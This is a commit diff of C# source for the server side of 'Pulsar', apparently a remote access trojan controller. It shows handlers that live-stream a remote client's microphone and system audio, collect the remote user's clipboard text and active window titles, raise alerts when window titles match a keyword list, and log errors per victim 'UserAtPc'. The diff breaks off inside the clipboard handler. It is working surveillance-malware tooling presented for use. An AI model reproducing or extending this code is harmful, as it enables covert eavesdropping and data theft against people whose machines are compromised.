initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,347 @@
|
||||
using NAudio.Wave;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Audio;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the microphone.
|
||||
/// </summary>
|
||||
public class AudioHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming microphone bits.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle microphone changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="device">All currently available microphones.</param>
|
||||
public delegate void MicrophoneChangedEventHandler(object sender, List<Tuple<int, string>> device);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a microphone changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event MicrophoneChangedEventHandler MicrophoneChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle audio data reception.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="audioData">The raw audio data bytes.</param>
|
||||
public delegate void AudioDataReceivedEventHandler(object sender, byte[] audioData);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when audio data is received from the remote microphone.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event AudioDataReceivedEventHandler AudioDataReceived;
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed microphones.
|
||||
/// </summary>
|
||||
/// <param name="devices">All currently available microphones.</param>
|
||||
private void OnMicrophoneChanged(List<Tuple<int, string>> devices)
|
||||
{
|
||||
SynchronizationContext.Post(dvce =>
|
||||
{
|
||||
var handler = MicrophoneChanged;
|
||||
handler?.Invoke(this, (List<Tuple<int, string>>)dvce);
|
||||
}, devices);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports received audio data.
|
||||
/// </summary>
|
||||
/// <param name="audioData">The raw audio data bytes.</param>
|
||||
private void OnAudioDataReceived(byte[] audioData)
|
||||
{
|
||||
SynchronizationContext.Post(data =>
|
||||
{
|
||||
var handler = AudioDataReceived;
|
||||
handler?.Invoke(this, (byte[])data);
|
||||
}, audioData);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this audio handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="AudioHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public AudioHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Receives the bytes.
|
||||
/// </summary>
|
||||
private BufferedWaveProvider _provider;
|
||||
|
||||
/// <summary>
|
||||
/// Plays the received audio
|
||||
/// </summary>
|
||||
private WaveOut _audioStream;
|
||||
|
||||
/// <summary>
|
||||
/// Holds the desired bitrate
|
||||
/// </summary>
|
||||
public int _bitrate = 44100;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetMicrophoneResponse || message is GetMicrophoneDeviceResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetMicrophoneResponse d:
|
||||
Execute(sender, d);
|
||||
break;
|
||||
|
||||
case GetMicrophoneDeviceResponse m:
|
||||
Execute(sender, m);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="device">The device to receive audio from.</param>
|
||||
public void BeginReceiveAudio(int device)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (IsStarted)
|
||||
{
|
||||
try
|
||||
{
|
||||
_client.Send(new GetMicrophone { DeviceIndex = device, Destroy = true });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error stopping existing microphone stream: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
if (_audioStream != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioStream.Stop();
|
||||
_audioStream.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error cleaning up existing microphone stream: {ex.Message}");
|
||||
}
|
||||
_audioStream = null;
|
||||
_provider = null;
|
||||
}
|
||||
|
||||
IsStarted = true;
|
||||
_provider = new BufferedWaveProvider(new WaveFormat());
|
||||
_audioStream = new WaveOut();
|
||||
_audioStream.Init(_provider);
|
||||
_audioStream.Play();
|
||||
_client.Send(new GetMicrophone { CreateNew = true, DeviceIndex = device, Bitrate = _bitrate });
|
||||
}
|
||||
catch (NAudio.MmException ex)
|
||||
{
|
||||
// Handle the exception gracefully
|
||||
IsStarted = false;
|
||||
_provider = null;
|
||||
_audioStream = null;
|
||||
System.Windows.Forms.MessageBox.Show($"Error initializing audio device: {ex.Message}",
|
||||
"Audio Error",
|
||||
System.Windows.Forms.MessageBoxButtons.OK,
|
||||
System.Windows.Forms.MessageBoxIcon.Error);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Handle any other unexpected exceptions
|
||||
IsStarted = false;
|
||||
_provider = null;
|
||||
_audioStream = null;
|
||||
System.Windows.Forms.MessageBox.Show($"An unexpected error occurred: {ex.Message}",
|
||||
"Audio Error",
|
||||
System.Windows.Forms.MessageBoxButtons.OK,
|
||||
System.Windows.Forms.MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving audio from the client.
|
||||
/// </summary>
|
||||
/// /// <param name="device">The device to stop.</param>
|
||||
public void EndReceiveAudio(int device)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
_client.Send(new GetMicrophone { DeviceIndex = device, Destroy = true });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error sending destroy message: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshMicrophones()
|
||||
{
|
||||
_client.Send(new GetMicrophoneDevice());
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMicrophoneResponse message)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (message?.Audio == null || message.Audio.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (_provider == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
OnAudioDataReceived(message.Audio);
|
||||
|
||||
_provider.AddSamples(message.Audio, 0, message.Audio.Length);
|
||||
message.Audio = null;
|
||||
|
||||
client.Send(new GetMicrophone { DeviceIndex = message.Device, Bitrate = _bitrate });
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
Debug.WriteLine($"Audio resources disposed: {ex.Message}");
|
||||
IsStarted = false;
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
Debug.WriteLine($"Audio stream invalid operation: {ex.Message}");
|
||||
IsStarted = false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error processing microphone audio: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMicrophoneDeviceResponse message)
|
||||
{
|
||||
OnMicrophoneChanged(message.DeviceInfos);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_audioStream != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioStream.Stop();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error stopping microphone stream: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_provider?.ClearBuffer();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error clearing microphone buffer: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_audioStream.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error disposing microphone stream: {ex.Message}");
|
||||
}
|
||||
|
||||
_audioStream = null;
|
||||
_provider = null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in microphone dispose: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
using NAudio.Wave;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Audio;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the microphone.
|
||||
/// </summary>
|
||||
public class AudioOutputHandler : MessageProcessorBase<Bitmap>, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// States if the client is currently streaming microphone bits.
|
||||
/// </summary>
|
||||
public bool IsStarted { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
|
||||
/// </summary>
|
||||
private readonly object _syncLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle microphone changes.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="device">All currently available microphones.</param>
|
||||
public delegate void OutputChangedEventHandler(object sender, List<Tuple<int, string>> device);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a microphone changed.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event OutputChangedEventHandler OutputChanged;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle audio data reception.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message processor which raised the event.</param>
|
||||
/// <param name="audioData">The raw audio data bytes.</param>
|
||||
public delegate void AudioDataReceivedEventHandler(object sender, byte[] audioData);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when audio data is received from the remote system audio.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event AudioDataReceivedEventHandler AudioDataReceived;
|
||||
|
||||
/// <summary>
|
||||
/// Reports changed microphones.
|
||||
/// </summary>
|
||||
/// <param name="devices">All currently available microphones.</param>
|
||||
private void OnOutputChanged(List<Tuple<int, string>> devices)
|
||||
{
|
||||
SynchronizationContext.Post(dvce =>
|
||||
{
|
||||
var handler = OutputChanged;
|
||||
handler?.Invoke(this, (List<Tuple<int, string>>)dvce);
|
||||
}, devices);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports received audio data.
|
||||
/// </summary>
|
||||
/// <param name="audioData">The raw audio data bytes.</param>
|
||||
private void OnAudioDataReceived(byte[] audioData)
|
||||
{
|
||||
SynchronizationContext.Post(data =>
|
||||
{
|
||||
var handler = AudioDataReceived;
|
||||
handler?.Invoke(this, (byte[])data);
|
||||
}, audioData);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this audio handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="AudioHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public AudioOutputHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Receives the bytes.
|
||||
/// </summary>
|
||||
private BufferedWaveProvider _provider;
|
||||
|
||||
/// <summary>
|
||||
/// Plays the received audio
|
||||
/// </summary>
|
||||
private WaveOut _audioStream;
|
||||
|
||||
/// <summary>
|
||||
/// Holds the desired bitrate
|
||||
/// </summary>
|
||||
public int _bitrate = 44100;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetOutputResponse || message is GetOutputDeviceResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetOutputResponse d:
|
||||
Execute(sender, d);
|
||||
break;
|
||||
|
||||
case GetOutputDeviceResponse m:
|
||||
Execute(sender, m);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins receiving frames from the client using the specified quality and display.
|
||||
/// </summary>
|
||||
/// <param name="device">The device to receive audio from.</param>
|
||||
public void BeginReceiveAudio(int device)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (IsStarted)
|
||||
{
|
||||
try
|
||||
{
|
||||
_client.Send(new GetOutput { DeviceIndex = device, Destroy = true });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error stopping existing stream: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
if (_audioStream != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioStream.Stop();
|
||||
_audioStream.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error cleaning up existing audio stream: {ex.Message}");
|
||||
}
|
||||
_audioStream = null;
|
||||
_provider = null;
|
||||
}
|
||||
|
||||
IsStarted = true;
|
||||
WaveFormat waveFormat = new WaveFormat(_bitrate, 2); // 2 channels (stereo) as default
|
||||
_provider = new BufferedWaveProvider(waveFormat);
|
||||
_audioStream = new WaveOut();
|
||||
_audioStream.Init(_provider);
|
||||
_audioStream.Play();
|
||||
_client.Send(new GetOutput { CreateNew = true, DeviceIndex = device, Bitrate = _bitrate });
|
||||
}
|
||||
catch (NAudio.MmException ex)
|
||||
{
|
||||
// Handle the exception gracefully
|
||||
IsStarted = false;
|
||||
_provider = null;
|
||||
_audioStream = null;
|
||||
System.Windows.Forms.MessageBox.Show($"Error initializing audio output device: {ex.Message}",
|
||||
"Audio Error",
|
||||
System.Windows.Forms.MessageBoxButtons.OK,
|
||||
System.Windows.Forms.MessageBoxIcon.Error);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Handle any other unexpected exceptions
|
||||
IsStarted = false;
|
||||
_provider = null;
|
||||
_audioStream = null;
|
||||
System.Windows.Forms.MessageBox.Show($"An unexpected error occurred: {ex.Message}",
|
||||
"Audio Error",
|
||||
System.Windows.Forms.MessageBoxButtons.OK,
|
||||
System.Windows.Forms.MessageBoxIcon.Error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Ends receiving audio from the client.
|
||||
/// </summary>
|
||||
/// /// <param name="device">The device to stop.</param>
|
||||
public void EndReceiveAudio(int device)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
_client.Send(new GetOutput { DeviceIndex = device, Destroy = true });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error sending destroy message: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the available displays of the client.
|
||||
/// </summary>
|
||||
public void RefreshOutput()
|
||||
{
|
||||
_client.Send(new GetOutputDevice());
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetOutputResponse message)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsStarted)
|
||||
return;
|
||||
|
||||
if (message?.Audio == null || message.Audio.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (_provider == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
OnAudioDataReceived(message.Audio);
|
||||
|
||||
_provider.AddSamples(message.Audio, 0, message.Audio.Length);
|
||||
message.Audio = null;
|
||||
|
||||
client.Send(new GetOutput { DeviceIndex = message.Device, Bitrate = _bitrate });
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
Debug.WriteLine($"Audio resources disposed: {ex.Message}");
|
||||
IsStarted = false;
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
Debug.WriteLine($"Audio stream invalid operation: {ex.Message}");
|
||||
IsStarted = false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error processing audio output: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetOutputDeviceResponse message)
|
||||
{
|
||||
OnOutputChanged(message.DeviceInfos);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
lock (_syncLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_audioStream != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioStream.Stop();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error stopping audio stream: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_provider?.ClearBuffer();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error clearing audio buffer: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_audioStream.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error disposing audio stream: {ex.Message}");
|
||||
}
|
||||
|
||||
_audioStream = null;
|
||||
_provider = null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in audio dispose: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
IsStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Forms;
|
||||
using Pulsar.Server.Networking;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
// I literally copied all of this from another handler and shoved it in here
|
||||
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote client status.
|
||||
/// </summary>
|
||||
public class ClientDebugLog : MessageProcessorBase<object>
|
||||
{
|
||||
public delegate void DebugLogEventHandler(object sender, Client client, string log);
|
||||
|
||||
public event DebugLogEventHandler DebugLogReceived;
|
||||
|
||||
public ClientDebugLog() : base(true)
|
||||
{
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message)
|
||||
{
|
||||
return message is GetDebugLog;
|
||||
}
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is GetDebugLog logMessage)
|
||||
{
|
||||
Execute((Client)sender, logMessage);
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(Client client, GetDebugLog message)
|
||||
{
|
||||
DebugLogReceived?.Invoke(this, client, message.Log);
|
||||
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
|
||||
if (frm != null)
|
||||
{
|
||||
frm.EventLog("[CLIENT ERROR: " + client.Value.UserAtPc + ": " + message.Log, "error");
|
||||
LogToFile("[CLIENT ERROR: " + client.Value.UserAtPc + ": " + message.Log);
|
||||
}
|
||||
}
|
||||
|
||||
private void LogToFile(string text)
|
||||
{
|
||||
//check if log file exists. If it does append to it.
|
||||
string logFilePath = "client_debug_log.txt";
|
||||
if (System.IO.File.Exists(logFilePath))
|
||||
{
|
||||
using (var writer = new System.IO.StreamWriter(logFilePath, true))
|
||||
{
|
||||
writer.WriteLine($"{System.DateTime.Now}: {text}");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (var writer = new System.IO.StreamWriter(logFilePath))
|
||||
{
|
||||
writer.WriteLine($"{System.DateTime.Now}: {text}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Forms;
|
||||
using Pulsar.Server.Helper;
|
||||
using Pulsar.Server.Networking;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using Newtonsoft.Json;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote client status.
|
||||
/// </summary>
|
||||
public class ClientStatusHandler : MessageProcessorBase<object>
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents the method that will handle status updates.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message handler which raised the event.</param>
|
||||
/// <param name="client">The client which updated the status.</param>
|
||||
/// <param name="statusMessage">The new status.</param>
|
||||
public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage);
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle user status updates.
|
||||
/// </summary>
|
||||
/// <param name="sender">The message handler which raised the event.</param>
|
||||
/// <param name="client">The client which updated the user status.</param>
|
||||
/// <param name="userStatusMessage">The new user status.</param>
|
||||
public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage);
|
||||
|
||||
public delegate void UserActiveWindowStatusUpdatedEventHandler(object sender, Client client, string newWindow);
|
||||
|
||||
public delegate void UserClipboardStatusUpdatedEventHandler(object sender, Client client, string clipboardText);
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a client updated its status.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event StatusUpdatedEventHandler StatusUpdated;
|
||||
|
||||
/// <summary>
|
||||
/// Raised when a client updated its user status.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Handlers registered with this event will be invoked on the
|
||||
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
|
||||
/// </remarks>
|
||||
public event UserStatusUpdatedEventHandler UserStatusUpdated;
|
||||
|
||||
public event UserActiveWindowStatusUpdatedEventHandler UserActiveWindowStatusUpdated;
|
||||
|
||||
public event UserClipboardStatusUpdatedEventHandler UserClipboardStatusUpdated;
|
||||
|
||||
/// <summary>
|
||||
/// Reports an updated status.
|
||||
/// </summary>
|
||||
/// <param name="client">The client which updated the status.</param>
|
||||
/// <param name="statusMessage">The new status.</param>
|
||||
private void OnStatusUpdated(Client client, string statusMessage)
|
||||
{
|
||||
SynchronizationContext.Post(c =>
|
||||
{
|
||||
var handler = StatusUpdated;
|
||||
handler?.Invoke(this, (Client)c, statusMessage);
|
||||
}, client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reports an updated user status.
|
||||
/// </summary>
|
||||
/// <param name="client">The client which updated the user status.</param>
|
||||
/// <param name="userStatusMessage">The new user status.</param>
|
||||
private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage)
|
||||
{
|
||||
SynchronizationContext.Post(c =>
|
||||
{
|
||||
var handler = UserStatusUpdated;
|
||||
handler?.Invoke(this, (Client)c, userStatusMessage);
|
||||
}, client);
|
||||
}
|
||||
|
||||
private void OnUserActiveWindowStatusUpdated(Client client, string newWindow)
|
||||
{
|
||||
SynchronizationContext.Post(c =>
|
||||
{
|
||||
var handler = UserActiveWindowStatusUpdated;
|
||||
handler?.Invoke(this, (Client)c, newWindow);
|
||||
}, client);
|
||||
}
|
||||
|
||||
private void OnUserClipboardStatusUpdated(Client client, string clipboardText)
|
||||
{
|
||||
SynchronizationContext.Post(c =>
|
||||
{
|
||||
var handler = UserClipboardStatusUpdated;
|
||||
handler?.Invoke(this, (Client)c, clipboardText);
|
||||
}, client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="ClientStatusHandler"/> class.
|
||||
/// </summary>
|
||||
public ClientStatusHandler() : base(true)
|
||||
{
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus || message is SetUserActiveWindowStatus || message is SetUserClipboardStatus;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case SetStatus status:
|
||||
Execute((Client)sender, status);
|
||||
break;
|
||||
case SetUserStatus userStatus:
|
||||
Execute((Client)sender, userStatus);
|
||||
break;
|
||||
case SetUserActiveWindowStatus userActiveWindowStatus:
|
||||
Execute((Client)sender, userActiveWindowStatus);
|
||||
break;
|
||||
case SetUserClipboardStatus userClipboardStatus:
|
||||
Execute((Client)sender, userClipboardStatus);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(Client client, SetStatus message)
|
||||
{
|
||||
OnStatusUpdated(client, message.Message);
|
||||
}
|
||||
|
||||
private void Execute(Client client, SetUserStatus message)
|
||||
{
|
||||
OnUserStatusUpdated(client, message.Message);
|
||||
}
|
||||
|
||||
private void Execute(Client client, SetUserActiveWindowStatus message)
|
||||
{
|
||||
OnUserActiveWindowStatusUpdated(client, message.WindowTitle);
|
||||
|
||||
if (message.WindowTitle == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
Task.Run(() =>
|
||||
{
|
||||
string keywordsFilePath = Path.Combine(Application.StartupPath, "PulsarStuff", "keywords.json");
|
||||
|
||||
if (File.Exists(keywordsFilePath))
|
||||
{
|
||||
string jsonContent = File.ReadAllText(keywordsFilePath);
|
||||
var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
|
||||
|
||||
if (keywords != null)
|
||||
{
|
||||
var matchedKeyword = keywords.FirstOrDefault(keyword => message.WindowTitle.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
|
||||
|
||||
if (matchedKeyword != null)
|
||||
{
|
||||
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
|
||||
if (frm != null)
|
||||
{
|
||||
frm.Invoke(new Action(() =>
|
||||
{
|
||||
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered: " + matchedKeyword, message.WindowTitle);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void Execute(Client client, SetUserClipboardStatus message)
|
||||
{
|
||||
OnUserClipboardStatusUpdated(client, message.ClipboardText);
|
||||
|
||||
if (string.IsNullOrEmpty(message.ClipboardText))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (client.ClipboardSyncEnabled)
|
||||
{
|
||||
try
|
||||
{
|
||||
